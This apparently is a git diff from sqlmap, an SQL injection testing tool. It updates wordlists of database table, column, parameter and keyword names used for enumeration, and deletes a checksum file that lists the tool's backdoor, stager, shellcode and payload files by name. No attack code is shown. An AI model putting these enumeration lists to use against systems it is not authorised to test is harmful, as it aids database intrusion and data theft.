-systargetservers -systargetservers_view -systaskids - -## Database: AdventureWorks -Address -AddressType -AWBuildVersion -BillOfMaterials -Contact -ContactCreditCard -ContactType -CountryRegion -CountryRegionCurrency -CreditCard -Culture -Currency -CurrencyRate -Customer -CustomerAddress -DatabaseLog -Department -Document -Employee -EmployeeAddress -EmployeeDepartmentHistory -EmployeePayHistory -ErrorLog -Illustration -Individual -JobCandidate -Location -Product -ProductCategory -ProductCostHistory -ProductDescription -ProductDocument -ProductInventory -ProductListPriceHistory -ProductModel -ProductModelIllustration -ProductModelProductDescriptionCulture -ProductPhoto -ProductProductPhoto -ProductReview -ProductSubcategory -ProductVendor -PurchaseOrderDetail -PurchaseOrderHeader -SalesOrderDetail -SalesOrderHeader -SalesOrderHeaderSalesReason -SalesPerson -SalesPersonQuotaHistory -SalesReason -SalesTaxRate -SalesTerritory -SalesTerritoryHistory -ScrapReason -Shift -ShipMethod -ShoppingCartItem -SpecialOffer -SpecialOfferProduct -StateProvince -Store -StoreContact -TransactionHistory -TransactionHistoryArchive -UnitMeasure -vAdditionalContactInfo -vEmployee -vEmployeeDepartment -vEmployeeDepartmentHistory -Vendor -VendorAddress -VendorContact -vIndividualCustomer -vIndividualDemographics -vJobCandidate -vJobCandidateEducation -vJobCandidateEmployment -vProductAndDescription -vProductModelCatalogDescription -vProductModelInstructions -vSalesPerson -vSalesPersonSalesByFiscalYears -vStateProvinceCountryRegion -vStoreWithDemographics -vVendor -WorkOrder -WorkOrderRouting - -# Common tables - -accounts -admin -audit -backup -config -configuration -customers -data -files -history -images -log -logs -members -messages -orders -products -settings -test -tokens -uploads - -[Columns] - -# MySQL -## Table: mysql.user -Alter_priv -Alter_routine_priv -Create_priv -Create_routine_priv -Create_tmp_table_priv -Create_user_priv -Create_view_priv -Delete_priv -Drop_priv -Event_priv -Execute_priv -File_priv -Grant_priv -Host -Index_priv -Insert_priv -Lock_tables_priv -max_connections -max_questions -max_updates -max_user_connections -Password -Process_priv -References_priv -Reload_priv -Repl_client_priv -Repl_slave_priv -Select_priv -Show_db_priv -Show_view_priv -Shutdown_priv -ssl_cipher -ssl_type -Super_priv -Trigger_priv -Update_priv -User -x509_issuer -x509_subject - -# Oracle (types) -BINARY_INTEGER -BLOB -BOOLEAN -CHAR -CLOB -DATE -INTERVAL -LONG -MLSLABEL -NCHAR -NCLOB -NUMBER -NVARCHAR2 -RAW -ROWID -TIMESTAMP -VARCHAR -VARCHAR2 -XMLType - -# MySQL (types) -bigint -blob -char -date -datetime -decimal -double -enum -float -int -set -smallint -text -time -tinyint -varchar -year - -# Microsoft SQL Server (types) -bigint -binary -bit -char -cursor -date -datetime -datetime2 -datetimeoffset -decimal -float -image -int -money -nchar -ntext -numeric -nvarchar -real -smalldatetime -smallint -smallmoney -sql_variant -table -text -time -timestamp -tinyint -uniqueidentifier -varbinary -varchar -xml - -# PostgreSQL (types) -bigint -bigserial -boolean -bpchar -bytea -character -date -decimal -double precision -int4 -integer -interval -money -numeric -real -serial -smallint -text -time -timestamp - -# Common columns -active -address -admin -blocked -category_id -city -confirmed -country -created_at -created_on -customer_id -deleted -deleted_at -dob -email -enabled -first_name -flag -gender -hidden -is_active -is_deleted -is_published -last_name -locked -login -modified_on -name -order_id -password -phone -private -product_id -public -role -salt -state -status -timestamp -token -type -updated_at -user_id -username -visible -zip -zip_code diff --git a/data/txt/common-params.txt b/data/txt/common-params.txt new file mode 100644 index 00000000000..81b7bc46329 --- /dev/null +++ b/data/txt/common-params.txt @@ -0,0 +1,243 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +id +page +q +query +search +s +keyword +keywords +name +username +user +uid +userid +email +mail +pass +password +pwd +token +key +apikey +api_key +access_token +auth +session +sid +sessionid +lang +language +locale +country +region +city +zip +sort +order +orderby +dir +direction +filter +category +cat +type +kind +class +group +tag +tags +status +state +action +act +cmd +command +op +operation +mode +method +func +function +callback +jsonp +format +output +view +tab +step +stage +debug +test +dev +admin +role +level +priv +file +filename +path +dir +folder +doc +document +url +uri +link +href +redirect +redirect_uri +return +returnurl +return_url +next +target +dest +destination +goto +continue +ref +referer +referrer +source +src +from +to +date +year +month +day +time +timestamp +start +end +begin +finish +limit +offset +count +num +number +size +length +width +height +amount +price +qty +quantity +value +val +data +input +content +text +msg +message +body +title +subject +description +desc +comment +note +code +hash +sig +signature +csrf +csrf_token +csrftoken +nonce +salt +enc +encrypt +decrypt +base64 +json +xml +raw +echo +reflect +show +hide +display +render +template +tpl +theme +skin +style +color +font +image +img +photo +avatar +icon +banner +video +audio +media +attachment +upload +download +export +import +backup +restore +sync +refresh +reload +reset +clear +flush +purge +enable +disable +active +enabled +visible +public +private +locked +verified +confirmed +approved +product +item +sku +model +brand +vendor +seller +store +shop +cart +basket +checkout +payment +invoice +receipt +transaction +account +profile +member +customer +client +company +organization +org +department +team +project +task +job +event +booking +reservation +appointment +schedule +calendar diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 855593c6af3..24e1f184bdd 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3372,17 +3372,23 @@ django_session django_migrations django_content_type django_admin_log +auth_user_groups +auth_user_user_permissions # laravel migrations password_resets +password_reset_tokens failed_jobs personal_access_tokens job_batches model_has_roles model_has_permissions role_has_permissions +cache +cache_locks +notifications # rails @@ -3420,3 +3426,6 @@ subscriptions users_bak users_old orders_backup +user_roles +role_permissions +tokens diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt index 36d2773ef44..8a985ea4191 100644 --- a/data/txt/keywords.txt +++ b/data/txt/keywords.txt @@ -1633,3 +1633,5 @@ YEAR ORD MID +TOP +ROWNUM diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt deleted file mode 100644 index 8386496dfb2..00000000000 --- a/data/txt/sha256sums.txt +++ /dev/null @@ -1,637 +0,0 @@ -e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql -6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql -798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql -5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql -3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql -afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql -657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql -1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql -9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql -02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql -02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql -606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql -4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql -7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt -3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_ -35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_ -081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_ -f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_ -78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_ -a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt -a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_ -8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_ -c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ -8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ -af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ -eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt -63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt -9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt -44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt -ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt -522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt -6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt -9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ -0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ -5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ -3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ -d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ -e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ -585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ -956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ -619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ -7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ -2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ -b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ -c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ -ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ -b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ -f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ -869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ -4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ -bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ -8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ -6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ -d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ -102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ -031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ -dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ -07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ -807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ -8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ -7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ -0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt -288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml -2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml -14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml -6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml -9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml -86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml -146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml -8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml -a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml -e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml -3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml -0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml -02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc data/xml/errors.xml -d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml -88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1 data/xml/payloads/error_based.xml -b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml -0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml -997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml -40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260 data/xml/queries.xml -0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS -ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md -c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b doc/THANKS.md -d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167 doc/THIRD-PARTY.md -25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8 doc/translations/README-ar-AR.md -c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md -e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md -00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md -f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md -163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md -70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md -a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md -f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md -bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md -27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md -830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md -40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md -379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md -754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md -2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md -c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md -95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md -b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md -3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md -7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md -bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md -ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md -5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md -c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md -c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md -8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py -509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py -b8d919ad6c632a9f5b292ee6c0476e9b092a39c0727fe89d12102d1938217116 extra/cloak/cloak.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py -6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt -4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py -a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt -6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b extra/icmpsh/icmpsh.exe_ -4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c -8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl -12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py -6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c -ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py -27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py -191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt -3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d extra/runcmd/runcmd.exe_ -70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt -baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp -a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj -16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln -d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp -e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h -38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_ -b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_ -cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt -b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd extra/shellcodeexec/windows/shellcodeexec.x32.exe_ -384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh -a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh -cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh -dd5141a5e14a5979b3d4a733016fafe241c875e1adef7bd2179c83ca78f24d26 extra/shutils/duplicates.py -0d5f32aa26b828046b851d3abeb8a5940def01c6b15db051451241435b043e10 extra/shutils/junk.sh -74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py -fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh -3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh -0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh -763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh -d12fd5916e97b2034ba7fbfa8da48f590dc10807119b97a9d27347500c610c2d extra/shutils/pypi.sh -df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh -1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py -9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py -b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py -ced1c82713afc1309c1495485b3d25a11c95af1f7460ea7922dbb96dacac37b4 lib/controller/checks.py -430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py -56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py -2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py -b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -503466d627e7425b4d1a65f4a3abfb8412128de7c146cec711e093cc58d6fa64 lib/core/common.py -a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py -a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py -c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py -6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py -70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py -147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py -a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump.py -1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py -5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py -1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py -914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py -67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py -8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b lib/core/option.py -9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py -49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py -03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py -48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py -0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py -888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ecd2ed39ca4391c5ef3e6488539afff0a15d9aa51157a4e2df16b27d0aa577d9 lib/core/settings.py -cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py -bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py -70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py -ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py -b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6 lib/core/threads.py 